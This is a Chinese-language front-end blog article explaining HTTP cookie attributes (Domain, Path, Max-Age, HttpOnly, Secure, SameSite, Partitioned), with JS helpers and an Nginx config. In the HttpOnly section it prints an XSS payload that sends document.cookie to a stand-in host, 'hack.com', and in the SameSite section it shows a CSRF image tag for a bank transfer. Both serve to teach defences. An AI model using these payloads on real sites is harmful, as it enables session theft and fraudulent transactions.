>我們是[袋鼠雲數棧 UED 團隊](http://ued.dtstack.cn/),致力於打造優秀的一站式數據中台產品。我們始終保持工匠精神,探索前端道路,為社區積累並傳播經驗價值。 >本文作者:佳嵐 ### 前言 `Cookie`實際上是一小段的文本信息,它產生的原因是由於HTTP 協議是**無 ...
我們是袋鼠雲數棧 UED 團隊,致力於打造優秀的一站式數據中台產品。我們始終保持工匠精神,探索前端道路,為社區積累並傳播經驗價值。
本文作者:佳嵐
前言
Cookie
實際上是一小段的文本信息,它產生的原因是由於HTTP 協議是無狀態的,所以需要通過 Cookie
來維持客戶端與服務端之間的“會話狀態”。如網路購物,能夠在不同頁面記錄購物車信息,或者在網站不同頁面共用登錄狀態。
Cookie 的基本結構包括:名字、值、各種屬性
屬性
一塊 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多種屬性,如
**HTTP**/1.1 200 **OK**
Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Domain 和 Path
Domain
和 Path
屬性定義了該 Cookie 的可被訪問的範圍,告訴瀏覽器該 Cookie 是屬於哪一個網站的。在請求介面時,會根據 Domain
與 Path
由瀏覽器決定是否要攜帶該 Cookie
。因此,Domain
是有嚴格規範進行約束的,可以看成 Cookie
的第一道安全防線。
首先 Domain
設置時在 格式上
必須以 .
開頭,且域必須還要包含一個 .
,或者是完全以 ip
的形式寫入,
比如說:
.baidu.com
✅
192.168.3.5
✅
.com
❌
.168.3.5
❌ 非法ip地址是無法寫入的
www.baidu.com
❓ 是否合法
A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot.
雖然 RFC 中嚴格規定了 Domain
必須以 .
開頭,但可能由於網站開發者經常忘記加上 .
,所以瀏覽器都會自動的在前面加上一個 .
比如說下麵這種:
寫入時
查看時
如果伺服器未指定 Cookie 的 Domain
,則它們預設為所請求資源的域。
比如 網站地址為 www.baidu.com
,寫入的Cookie響應頭為Set-Cookie: b=2; Domain=;
則實際寫入的 Cookie 為
我們可以看到 b
的Domain
變成了當前網站的域,且前面也沒有帶上.
區別
- 當
Domain
不帶點時只有請求主機完全匹配時才會帶上 Cookie,也就是僅www.baidu.com
能訪問 - 當
Domain
帶點時所有子域都能訪問到該 Cookie,如baidu.com
、b.baidu.com
、a.b.baidu.com
主機匹配
如果請求主機與功能變數名稱不匹配,則會被瀏覽器拒絕寫入
當我在 www.a.com
網站寫入了一條 www.b.com
, 由於它們非同站會被瀏覽器拒絕寫入
Domain
必須為當前域或者當前域的父域
- 請求主機為
www.baidu.com
,寫入域為.baidu.com
、www.baidu.com
✅ - 請求主機為
a.baidu.com
,寫入域為b.baidu.com
、c.a.baidu.com
❌
再講講Path
, Path
與 Domain
相鋪相成,Domain
決定 Cookie
是否該被寫入,而 Path
決定具體請求哪個路徑時會被攜帶。
例如,設置 Path=/docs
,則以下地址都會匹配:
/docs
/docs/
/docs/Web/
/docs/Web/HTTP
但是這些請求路徑不會匹配以下地址:
/
/docsets
/fr/docs
當為設置Path
或者設置為空時,Path
會被設置為當前請求路徑
註意點:
-
當請求地址不帶末尾的
/
時,www.a.com:3000/a/b
-
當請求地址末尾帶
/
時,www.a.com:3000/a/b/
Cookie是由Domain
與 Path
來區分的,因此不同的Domain
或Path
會被識別成不同的Cookie, 所以你可能會遇到多個同名的情況
這些Cookie會同時在請求頭中被傳遞給伺服器端
我們可以看到 發送給伺服器端的 Cookie
只會攜帶 Cookie
的鍵與名,不會攜帶相關的 Domain
信息,因此伺服器端是無法判斷出該 Cookie
具體是哪個域攜帶的。但會有攜帶順序的優先順序問題,參見
所以當我們有多個子網站需要使用相同名字的Cookie時,可以使用不帶點的全功能變數名稱
作為寫入Domain
或者指定具體的不同Path
, 或者採用首碼來區分不同網站
Expires 和 Max-Age
Expires
與 Max-Age
屬性定義了 Cookie 的生命周期,也就是瀏覽器應刪除 Cookie 的時間。在預設情況下Cookie 的生命周期是 Session
級別,即退出瀏覽器後自動過期。
與 Http Cache
類似, Expires
是以一個絕對GMT格式的時間
的來指定過期時間,而 Max-Age
是以多少秒後過期。Max-Age
是 http1.1
的產物,優先順序比 Expires
要高,
- 當Max-Age 設置大於0時,則會在設置的多少秒後過期
- 當Max-Age 設置為0時,則會立即過期
- 當Max-Age 設置為-1時,為
Session
級別
區別點:
Expires
是以GMT
時間為單位,可能存在伺服器與瀏覽器端時間不匹配的情況,導致不能精確控制時間到期時間。而Max-Age
則是以瀏覽器端接收到響應時開始計算時間的,以客戶端為準Max-Age
使用與計算過期時間更簡單,而Expires
相容性更好
瞭解了這4個屬性,我們就可以先封裝自己的 Cookie 操作工具了,
瀏覽器提供的document.cookie
為我們提供了對Cookie
的操作方式
- 增
對document.cookie
重新賦值即可新增該Cookie
, 而不是替換掉整個Cookies
。
註意:如果需要替換某個Cookie
, 必須保證Domain
與Path
一致。其中 Cookie 內容只能包括 Ascii 碼字元,所以需要經過一層編碼。
setCookie(
name: string,
value: string,
days?: number,
domainStr?: string
){
let expires = '';
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = '; expires=' + date.toUTCString();
}
let domain = '';
if (domainStr) {
domain = '; domain=' + domainStr;
}
document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';
},
- 刪
只有將 Cookie 設為過期才會刪除, 註意只有符合指定 domain 與 path 會被刪除
deleteCookie(name: string, domain?: string, path?: string) {
const d = new Date(0);
const domainTemp = domain ? `; domain=${domain}` : '';
const pathTemp = path || '/';
document.cookie =
name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp;
},
- 查
我們僅能通過document.cookie
查詢到所有的鍵與值,無法查詢其具體的屬性,每個不同的Cookie通過 ;
分割
function getCookie(cookieName) {
const strCookie = document.cookie
const cookieList = strCookie.split('; ')
for(let i = 0; i < cookieList.length; i++) {
const arr = cookieList[i].split('=')
if (cookieName === arr[0].trim()) {
return decodeURIComponent(arr[1]);
}
}
return ''
}
HttpOnly
HttpOnly
要求瀏覽器不要通過 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是說只能通過 Http 的響應頭裡進行Set-Cookie
, 用戶無法在 js 代碼中去操作與讀取該 Cookie。這個屬性主要是用來緩解 XSS 攻擊的。
我們可以看下麵兩個例子
反射型XSS竊取Cookie
反射型 XSS 攻擊指攻擊者在頁面中插入惡意 JavaScript 腳本,該腳本隨著 HTTP/HTTPS 請求數據一起發送給後端伺服器,伺服器對其進行響應,瀏覽器接收響應後將其解析渲染。惡意腳本的執行路徑為“瀏覽器-伺服器-瀏覽器”。瀏覽器中的惡意腳本發送到伺服器,伺服器直接對應資源返回瀏覽器中解析執行,整個過程類似於反射。
假設我們在百度上搜索內容,就會跳轉以下頁面。
https://www.baidu.com/search?input=searchText
之後返回的頁面中會攜帶下麵的內容
<p>以下是搜索{searchText}的所有結果</p>
這時我將searchText
改為如下的字元串
<img src="notfound.png" onerror="location.href='http://hack.com/?cookie='+document.cookie'">
接著我再把整個鏈接進行轉碼或者轉短鏈接化,發送給用戶,用戶點擊後在 baidu 上的 Cookie 就會比自動發送到我們的 hack 伺服器內。
存儲型 XSS 竊取 Cookie
存儲型 XSS 攻擊指攻擊者在伺服器的資料庫中插入惡意 JavaScript 腳本,當用戶訪問網站時,惡意腳本被髮送到瀏覽器進行解析執行。
最經典的一個評論區案例
我在某網站的評論區直接輸入一串JS代碼
如果前端與後端均沒有對其進行過濾,那麼該評論被寫入到資料庫中,所有訪問該頁面的用戶信息都會被竊取。
但目前 XSS 攻擊並沒有那麼容易成功,大部分前端框架 React、 Vue,都會自動對 HTML 內容進行轉義後再輸出到頁面,比如:
<img src="empty.png" onerror ="alert('xss')">
轉義後輸出到 html 中
<img src="empty.png" onerror ="alert('xss')">
相比之下,採用伺服器端渲染的Web應用更容易被攻擊,如jsp
、 php
、 express-art-tempalte
。
因此,採用HttpOnly
來保護關鍵的用戶Cookie
是能很大程度上防止Cookie
被竊取,但並非完全杜絕。
Secure
Secure
屬性是防止信息在傳遞的過程中被監聽捕獲造成信息泄漏。當 Secure
標誌的值被設置為 true 時,表示創建的 Cookie
會被以安全的形式向伺服器傳輸,即只能在 HTTPS
連接中被瀏覽器傳遞到伺服器端進行會話驗證,如果是 HTTP
連接則不會傳遞該信息,所以 Cookie
的具體內容不會被盜取,該屬性只能在 HTTPS
站點下被設置。
SameSite
Same Site
直譯過來就是同站,它和我們之前說的同域 Same Origin
是不同的。Cookie 遵守同站策略
,而非同源策略
,兩者的區別主要在於判斷的標準是不一樣的。一個 URL 主要有以下幾個部分組成:
可以看到同域的判斷比較嚴格,需要 protocol
、 hostname
、port
三部分完全一致。
相對而言,Cookie
中的同站判斷就比較寬鬆,主要是根據 Mozilla 維護的公共尾碼表
(Pulic Suffix List)使用有效頂級功能變數名稱(eTLD)+1的規則查找得到的一級功能變數名稱是否相同來判斷是否是同站請求, 此外,Cookie
並不區分埠
與協議
。
功能變數名稱可以分成頂級功能變數名稱(一級功能變數名稱)、二級功能變數名稱、三級功能變數名稱等等,如:
頂級功能變數名稱:.com
, .cn
, .top
, .xyz
二級:baidu.com
, bilibili.com
三級功能變數名稱:xx.baidu.com
xx.bilibili.com
這很好理解,如果是github.io
這屬於什麼功能變數名稱?
例如 比較https://tieba.baidu.com
與 https://wenku.baidu.com
是否是同站。
根據上述的 有效頂級功能變數名稱(eTLD)+1的規則查找得到的一級功能變數名稱是否相同
.com
是在 PSL 中記錄的有效頂級功能變數名稱,eTLD+1
後兩者都是 baidu.com
,
所以 https://tieba.baidu.com
和 https://www.baidu.com
是同站功能變數名稱。
那我們再來比較下jackWang.github.io
與 dtstack.github.io
其中 github.io
我們再PSL
中能夠找到
因此github.io
是有效頂級功能變數名稱 eTLD
,jackWang.github.io
與 dtstack.github.io
分別是eTLD+1
, 它們不相等,所以是跨站的。由於github.io
是頂級功能變數名稱,當domain
設置為 .github.io
由於非法,並不會設置成功,也因此不同github page
是不共用Cookie
的。
eTLD
eTLD
的全稱是 effective Top-Level Domain
,它與我們往常理解的 Top-Level Domain
頂級功能變數名稱有所區別。eTLD 記錄在之前提到的 PSL 文件中。而 TLD(真正的頂級功能變數名稱) 也有一個記錄的列表,那就是 Root Zone Database。
eTLD 的出現主要是為瞭解決 .com.cn
、 .com.hk
、 .co.jp
這種看起來像是二級功能變數名稱的但其實需要作為頂級功能變數名稱存在的場景。
回到 SameSite
這個屬性本身上,它有三個取值
None
Lax
預設值Strict
None
在 Chrome80 版本以前,Same-Site 的預設值是None
, 該屬性值表示不做任何限制,允許第三方Cookie
。啥是第三方Cookie
?根據上面同站的判斷規則,如果是同站的,就稱為第一方
,跨站的就為第三方
。
那麼什麼時候我的網站會出現第三方Cookie
,Cookie Domain
不是只能設置自身域內嗎 ?
首先Set-Cookie
時的Domain
校驗是根據請求的主機,而不是當前導航欄 URL 的地址來判定的
當我請求一個跨域請求
,或者通過img標簽
引入一個外域的圖片時等等,如果請求響應設置了Cookie
或者攜帶了第三方Cookie
, 那麼都會在Devtools
中展示,只有當通過document.cookie
訪問時訪問到的都為第一方Cookie
。
當我在www.aliyun.com
設置瞭如下 Cookie: a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None
當我訪問www.taobao.com
時, 裡面引用了一張aliyun.com
的圖片
當我將SameSite設為None時,請求這張圖片時才會帶上我們在www.aliyun.com
下寫入的Cookie a
。
僅攜帶為None
的Cookie
Lax
Lax
會對一部分第三方Cookie
進行限制發送,我們知道互聯網廣告通過在固定域 Cookie 下標記用戶 ID,記錄用戶的行為從何達到精準推薦的目的。隨著全球隱私問題的整治,在 Chrome 80 中瀏覽器將預設的 SameSite 規則從 SameSite=None
修改為 SameSite=Lax
。設置成 SameSite=Lax
之後頁面內所有跨站情況下的資源請求都不會攜帶 Cookie。
具體規則:
類型 | 例子 | 是否發送 |
---|---|---|
a鏈接 | 發送 | |
預載入 | 發送 | |
GET 表單 | 發送 | |
POST 表單 | 不發送 | |
iframe | 不發送 | |
AJAX | axios.post fetch | 不發送 |
圖片 | 不發送 |
對用戶來說這肯定是一件好事,避免了自身被攻擊。但是對我們技術同學來說,這無疑是給我們設置的一個障礙。因為業務也確實會存在著多個功能變數名稱的情況,並且需要在這些功能變數名稱中進行 Cookie 傳遞。
這個修改影響面廣泛,需要網站維護者花大量的時間去修改適配。
針對因為此次特性受到影響的網站,可以選擇以下一些適配辦法:
- 降級瀏覽器版本至80以下;基本只能用作臨時解決方案
- 瀏覽器預設配置修改,91版本以下進入
chrome://flags
將same-site-by-default-cookies
設為disabled
, 94版本以下需改動啟動項才行 - 將站點都放到同一
二級功能變數名稱
下麵,即讓他們保持同站
會使用兩個不同的站點業務耦合,僅特定場景下可以考慮,比如通過 iframe 嵌入單點登錄頁面
,單點登錄頁面僅會在iframe
中使用,沒有人會單獨去訪問這個網站,則可以考慮修改單點登錄頁面的功能變數名稱。 - 為所有 Cookie 增加
SameSite=None;Secure
屬性
需要改動所有前後端設置 Cookie 的地方,改動量巨大,其次None
必須與Secure
配套使用,而Secure
意味著必須配備HTTPS
。 - 通過 Nginx 反向代理我們的跨站網站, 使它們變成同站。
比如我在www.baidu.com
下通過 iframe 嵌套了www.bilibili.com
, 它們跨站了,在 bilibili 中的Set-Cookie
將會被拒絕掉。
這時我在Nginx
上開啟一個代理服務,將功能變數名稱bilibili.baidu.com
代理轉發至www.bilibili.com
需要註意: 要通過 Nginx 進行 Cookie 轉發
server {
listen 80;
server_name bilibili.baidu.com;
location / {
proxy_hide_header X-Frame-Options;
# 用於cookie代理
proxy_cookie_domain www.baidu.com bilibili.baidu.com;
# 代理到真實地址
proxy_pass http://www.baidu.com;
}
}
Strict
Strict
最為嚴格,它完全拒絕第三方站點,實際運用場景並不多,當某些 Cookie 被設為Strict
後,可能會影響到用戶的體驗。比如我在baidu.com
中用a標簽
鏈接到bilibili
,而bilibili
的token
如果是Strict
的話,那我跳轉過去就會丟失登錄狀態。
SameSite
的作用主要有兩點:
- 進行隱私保護,
- 能夠有效防禦
CSRF攻擊
比如我在自己的黑客網站放入一張圖片,裡面的鏈接指向會將 qiming 的錢轉給 jialan, 誘導用戶進入我的網站,由於第三方 Cookie 的存在,用戶的登錄態是存在的(之前登錄過該銀行的話),錢就會自動轉入我的賬戶。如果設置了Lax
或Strict
, 則能避免這種問題。
<img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" />
Cookie大小與數量
每一個 Cookie 的大小一般為4KB, 不同瀏覽器上不同,Chrome 實測下來為4096
個位元組,其計算是name
+ value
的字元串長度,當超過大小時設置不會成功
實測下來每個域下麵最多為175個,當超出最大限制時,會移除舊的 Cookie
但我如何控制哪些 Cookie 在超出限制時不應該被刪除?
Cookie還有個 Priority
屬性用來表示優先順序
有以下取值:
Low
Medium
預設值High
那自動刪除時將按下麵順序進行刪除
- 優先順序為
Low
的非 secure Cookie - 優先順序為
Low
的 secure Cookie - 優先順序為
Medium
的非 secure Cookie - 優先順序為
Medium
的 secure Cookie - 優先順序為
High
的非 secure Cookie - 優先順序為
High
的 secure Cookie
未來發展
Cookie 在未來的很長一段時間都是不可或缺的,即使目前已經有了 jwt 等替代方案。 像國外的 Cookie 隱私法在一步步限制著 Cookie 的權利,訪問站點時使用第三方 Cookie 都必須爭得用戶的同意。
未來的SameParty屬性
SameSite=Lax/Strict
斷了我們跨站傳遞 Cookie 的念想,但實際業務上確實有這種場景。然而 Chrome 是計劃在2024年完全禁用第三方Cookie
,那完全禁用後,為了能夠滿足實際的業務需求,Chrome 又推出了SameParty
屬性。
該提案提出了 SameParty
新的 Cookie 屬性,當標記了這個屬性的 Cookie 可以在同一個主域下進行共用。那如何定義不同的功能變數名稱屬於同一主域呢?主要是依賴了另外一個特性 first-party-set 第一方集合。它規定在每個功能變數名稱下的該 URL /.well-known/first-party-set
可以返回一個第一方功能變數名稱的配置文件。在這個文件中你可以定義當前功能變數名稱從屬於哪個第一方功能變數名稱,該第一方功能變數名稱下有哪些成員功能變數名稱等配置。
// https://a.example/.well-known/first-party-set
{
"owner": "a.example",
"members": ["b.example", "c.example"],
...
}
// https://b.example/.well-known/first-party-set
{
"owner": "a.example"
}
// https://c.example/.well-known/first-party-set
{
"owner": "a.example"
}
當然使用固定 URL 會產生額外的請求,對頁面的響應造成影響。也可以直接使用 Sec-First-Party-Set
響應頭直接指定歸屬的第一方功能變數名稱。
該屬性還未正式支持,此處只做簡略說明,詳細資料
Partitioned屬性
這個屬性我們可能很少註意到,一般稱為Cookies Having Independent Partitioned State (CHIPS)
它的作用是使 第三方Cookie
與 第一方站點
相綁定
我們舉個例子:
我在 https://site-a.example
里,裡面請求了 https://3rd-party.example
這個站點的資源, 而 https://3rd-party.example
寫入了一個 Cookie
,那它屬於 第三方COokie
。
當我訪問 https://site-b.example
時,也請求了 https://3rd-party.example
的資源,這時瀏覽器會把在 https://site-a.example
中寫入的第三方 Cookie 也給帶上。
這是正常情況,原因是 Cookie
在會以寫入它們的主機或者功能變數名稱作為 Key
去存儲,比如上面就是 [”https://3rd-party.example”]
, 我們並不知道它的創建上下文功能變數名稱是啥。
當我開啟 Partitioned
時,Cookie 存儲時,還會記錄創建它的上下文 eTLD + 1
作為額外的 Partiotion Key
, 變成 [”https://3rd-party.example”, "https://site-a.example"]
。
當我訪問 https://site-a.example
是因為匹配上了 Partition Key
, 所以能夠帶上 第三方 Cookie
, 訪問 https://site-b.example
時則不會帶上 第三方 Cookie
。這樣其實主要是限制了第三方 Cookie 的跟蹤。
參考
https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/frontend_nian/article/details/124221944
https://blog.csdn.net/weixin_40906515/article/details/120030218
https://datatracker.ietf.org/doc/html/rfc6265#section-3.1
https://zhuanlan.zhihu.com/p/50541175
https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies#cross-site_tracking_in_a_nutshell
最後
歡迎關註【袋鼠雲數棧UED團隊】~
袋鼠雲數棧UED團隊持續為廣大開發者分享技術成果,相繼參與開源了歡迎star
- 大數據分散式任務調度系統——Taier
- 輕量級的 Web IDE UI 框架——Molecule
- 針對大數據領域的 SQL Parser 項目——dt-sql-parser
- 袋鼠雲數棧前端團隊代碼評審工程實踐文檔——code-review-practices
- 一個速度更快、配置更靈活、使用更簡單的模塊打包器——ko